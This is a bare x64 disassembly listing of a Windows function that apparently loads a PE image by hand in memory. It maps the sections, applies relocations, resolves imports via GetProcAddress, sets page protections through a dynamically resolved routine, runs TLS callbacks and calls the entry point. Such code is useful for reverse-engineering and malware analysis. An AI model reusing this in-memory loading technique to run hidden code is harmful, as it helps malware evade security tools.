mov eax, 0xf8
xor r14d, r14d
jmp 0x140002a92
cmp dword [rdi + rbx], 0x4550
jne 0x140003016
lea rcx, [rdi + rbx]
cmp word [rcx + 4], 0x8664
jne 0x140003016
mov eax, 0x108
test byte [rcx + 0x16], 2
je 0x140003016
mov qword [rsp + 0x50], rcx
add rbx, rax
cmp rbx, 0x56ca01
jae 0x140003016
mov eax, 0x56ca00
sub rax, rbx
mov rcx, qword [rsp + 0x50]
movzx ecx, word [rcx + 6]
mov qword [rsp + 0x78], rcx
imul rcx, rcx, 0x28
cmp rcx, rax
ja 0x140003016
test r14, r14
mov rdx, qword [rsp + 0x50]
je 0x140003016
test byte [rdx + 0x17], 0x20
jne 0x140003016
cmp dword [rdx + 0xfc], 0
je 0x140002af8
cmp dword [rdx + 0xf8], 0
jne 0x140003016
mov eax, dword [rdx + 0x28]
mov qword [rsp + 0x178], rax
test rax, rax
je 0x140003016
mov rax, qword [rdx + 0x30]
lea rcx, [rsp + 0x100]
mov qword [rcx], rax
mov eax, dword [rdx + 0x50]
lea rdx, [rsp + 0x80]
mov qword [rdx], rax
call fcn.140009dab
cmp eax, 0xb
je 0x140002b55
lea rcx, [rsp + 0x100]
and qword [rcx], 0
lea rdx, [rsp + 0x80]
call fcn.140009dab
cmp eax, 0xb
jne 0x140002fac
mov qword [rsp + 0x158], rsi
mov qword [rsp + 0x58], rdi
mov qword [rsp + 0x168], rbx
add rbx, rdi
mov rcx, qword [rsp + 0x78]
movzx eax, cl
shr ecx, 8
imul rsi, rcx, 0x2800
imul rax, rax, 0x28
mov qword [rsp + 0x160], rax
add rsi, rax
mov rax, rbx
test rsi, rsi
je 0x140002bbf
lea rdi, [rax + 0x28]
mov edx, dword [rax + 0x14]
add rdx, qword [rsp + 0x58]
mov ecx, dword [rax + 0xc]
mov r8d, dword [rax + 0x10]
add rcx, qword [rsp + 0x100]
call sub.msvcrt.dll_memcpy
add rsi, 0xffffffffffffffd8
mov rax, rdi
jmp 0x140002b91
mov r15, qword [rsp + 0x100]
mov rcx, r15
mov rdx, qword [rsp + 0x50]
sub rcx, qword [rdx + 0x30]
mov qword [rsp + 0x170], rbx
je 0x140002c77
mov eax, dword [rdx + 0xb0]
test eax, eax
je 0x140002c77
cmp dword [rdx + 0xb4], 0
je 0x140002c77
push 2
pop r8
xor r9d, r9d
mov r11, r15
mov esi, eax
lea r10, [r11 + rsi]
mov eax, dword [r11 + rsi + 4]
test rax, rax
jne 0x140002c18
cmp dword [r10], 0
je 0x140002c6a
add rax, 0xfffffffffffffff8
cqo
idiv r8
test rax, rax
cmovle rax, r9
lea rdx, [r11 + rsi]
add rdx, 8
xor r11d, r11d
cmp rax, r11
je 0x140002c61
movzx esi, word [rdx + r11*2]
mov edi, esi
and edi, 0xf000
cmp di, 0xa000
jne 0x140002c5c
mov edi, dword [r10]
and esi, 0xfff
add rsi, rdi
add qword [r15 + rsi], rcx
inc r11
jmp 0x140002c33
mov eax, dword [r10 + 4]
mov r11, r10
jmp 0x140002c02
mov r15, qword [rsp + 0x100]
mov rdx, qword [rsp + 0x50]
cmp dword [rdx + 0x94], 0
je 0x140002df4
mov rax, qword [rsp + 0x50]
mov r12d, dword [rax + 0x90]
test r12d, r12d
je 0x140002df4
add r12, r15
lea rdi, [r15 + 2]
lea rsi, [rsp + 0x840]
lea rbx, [rsp + 0x4a0]
mov qword [rsp + 0x68], r15
mov ecx, dword [r12 + 0xc]
test rcx, rcx
jne 0x140002ce2
cmp dword [r12 + 0x10], 0
jne 0x140002ce2
cmp dword [r12], 0
jne 0x140002ce2
cmp dword [r12 + 4], 0
jne 0x140002ce2
cmp dword [r12 + 8], 0
je 0x140002df4
add rcx, r15
call fcn.140009e67
mov r8, rdx
mov rcx, rsi
mov rdx, rax
call fcn.1400085df
cmp qword [rsp + 0x840], 0
jne 0x140003016
mov rdx, qword [rsp + 0x848]
mov r8, qword [rsp + 0x850]
mov rcx, rsi
call fcn.140009c76
cmp dword [rsp + 0x840], 0
jne 0x140003016
mov r14, qword [rsp + 0x848]
mov eax, dword [r12]
mov qword [rsp + 0x70], r12
mov r12d, dword [r12 + 0x10]
add r12, r15
add r15, rax
test rax, rax
cmove r15, r12
xor r13d, r13d
mov rcx, qword [r15 + r13]
test rcx, rcx
je 0x140002de1
js 0x140002dc0
cmp byte [rdi + rcx], 0
je 0x140002de1
add rcx, rdi
call fcn.140009e67
mov r8, rdx
mov rcx, rsi
mov rdx, rax
call fcn.1400085df
cmp qword [rsp + 0x840], 0
jne 0x140003016
mov r8, qword [rsp + 0x848]
mov r9, qword [rsp + 0x850]
mov rcx, rbx
mov rdx, r14
call fcn.140009d23
cmp dword [rsp + 0x4a0], 0
jne 0x140003016
mov rax, qword [rsp + 0x4a8]
jmp 0x140002dd4
movzx edx, cx
mov rcx, r14
call sub.KERNEL32.dll_GetProcAddress
test rax, rax
je 0x140003016
mov qword [r12 + r13], rax
add r13, 8
jmp 0x140002d53
mov r12, qword [rsp + 0x70]
add r12, 0x14
mov r15, qword [rsp + 0x68]
jmp 0x140002cb5
mov rax, qword [rsp + 0x58]
mov rcx, qword [rsp + 0x168]
lea rdi, [rax + rcx]
add rdi, 0x24
mov rax, qword [rsp + 0x78]
shr eax, 8
imul r13, rax, 0x2800
add r13, qword [rsp + 0x160]
xor r14d, r14d
lea rsi, [rsp + 0x370]
mov r15, qword [rsp + 0x170]
cmp r13, r14
je 0x140002f4b
mov eax, dword [r15 + 0x10]
mov qword [rsp + 0x370], rax
test rax, rax
je 0x140002f3e
mov eax, dword [rdi + r14 - 0x18]
add rax, qword [rsp + 0x100]
mov qword [rsp + 0x730], rax
mov eax, dword [rdi + r14]
bt eax, 0x1d
jb 0x140002e85
bt eax, 0x1e
push 1
pop rbx
jae 0x140002e99
shr eax, 0x1f
lea ebx, [rax*2 + 2]
jmp 0x140002e99
bt eax, 0x1e
push 0x10
pop rbx
jae 0x140002e99
shr eax, 0x1a
and eax, 0xffffffe0
add eax, 0x20
mov ebx, eax
mov r12, qword [0x1405880a8]
test r12, r12
jne 0x140002f08
lea rcx, [rsp + 0x840]
lea rdx, [0x140583450]
push 9
pop r8
call fcn.140009c76
cmp dword [rsp + 0x840], 0
jne 0x140003016
mov rdx, qword [rsp + 0x848]
lea rcx, [rsp + 0x4a0]
lea r8, [0x140583470]
push 0x16
pop r9
call fcn.140009d23
cmp dword [rsp + 0x4a0], 0
jne 0x140003016
mov r12, qword [rsp + 0x4a8]
mov qword [0x1405880a8], r12
and dword [rsp + 0x840], 0
call sub.KERNEL32.dll_GetCurrentProcess
lea rcx, [rsp + 0x840]
mov qword [rsp + 0x20], rcx
mov rcx, rax
lea rdx, [rsp + 0x730]
mov r8, rsi
mov r9d, ebx
call r12
test eax, eax
jne 0x140003016
add r15, 0x28
add r14, 0x28
jmp 0x140002e33
mov rsi, qword [rsp + 0x100]
mov rax, qword [rsp + 0x50]
cmp dword [rax + 0xd4], 0
je 0x140002f93
mov eax, dword [rax + 0xd0]
test eax, eax
je 0x140002f93
mov rdi, qword [rsi + rax + 0x18]
push 1
pop rbx
mov rax, qword [rdi]
test rax, rax
je 0x140002f8b
mov rcx, rsi
mov edx, ebx
xor r8d, r8d
call rax
add rdi, 8
jmp 0x140002f73
mov rsi, qword [rsp + 0x100]
add rsi, qword [rsp + 0x178]
call rsi
mov rdi, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x158]
jmp 0x140002fb1
cmp eax, 0xe
jne 0x140003016
movzx eax, byte [rsp + 0x60]
or rsi, rax
mov rcx, rdi
mov rdx, rsi
call fcn.140003414
movaps xmm6, xmmword [rbp + 0xbd0]
movaps xmm7, xmmword [rbp + 0xbe0]
movaps xmm8, xmmword [rbp + 0xbf0]
movaps xmm9, xmmword [rbp + 0xc00]
movaps xmm10, xmmword [rbp + 0xc10]
movaps xmm11, xmmword [rbp + 0xc20]
movaps xmm12, xmmword [rbp + 0xc30]
movaps xmm13, xmmword [rbp + 0xc40]
lea rsp, [rbp + 0xc58]
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
ud2